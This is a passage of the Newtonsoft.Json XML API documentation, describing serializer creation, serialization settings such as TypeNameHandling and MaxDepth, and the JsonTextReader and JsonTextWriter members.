cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(System.IO.TextReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(Newtonsoft.Json.JsonReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to deserialize.</param>\n            <returns>The <see cref=\"T:System.Object\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(System.IO.TextReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:System.IO.TextReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize``1(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <typeparam name=\"T\">The type of the object to deserialize.</typeparam>\n            <returns>The instance of <typeparamref name=\"T\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is Auto to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializerSettings\">\n            <summary>\n            Specifies the settings on a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) are handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n            <value>Reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n            <value>Missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n            <value>Null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Converters\">\n            <summary>\n            Gets or sets a <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> collection that will be used during serialization.\n            </summary>\n            <value>The converters.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n            <value>The preserve references handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>The reference resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolverProvider\">\n            <summary>\n            Gets or sets a function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>A function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Error\">\n            <summary>\n            Gets or sets the error handler called during serialization and deserialization.\n            </summary>\n            <value>The error handler called during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializerSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to JSON text data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.#ctor(System.IO.TextReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextReader\"/> class with the specified <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the JSON data to read.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.PropertyNameTable\">\n            <summary>\n            Gets or sets the reader's property name table.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.ArrayPool\">\n            <summary>\n            Gets or sets the reader's character buffer pool.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>\n            The current line number or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>\n            The current line position or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.ArrayPool\">\n            <summary>\n            Gets or sets the writer's character array pool.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\">\n            <summary>\n            Gets or sets how many <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/>s to write for each level in the hierarchy when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteChar\">\n            <summary>\n            Gets or sets which character to use to quote attribute values.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\">\n            <summary>\n            Gets or sets which character to use for indenting when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteName\">\n            <summary>\n            Gets or sets a value indicating whether object names will be surrounded with quotes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.#ctor(System.IO.TextWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/> class using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.TextWriter\"/> and also flushes the underlying <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextWriter\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member 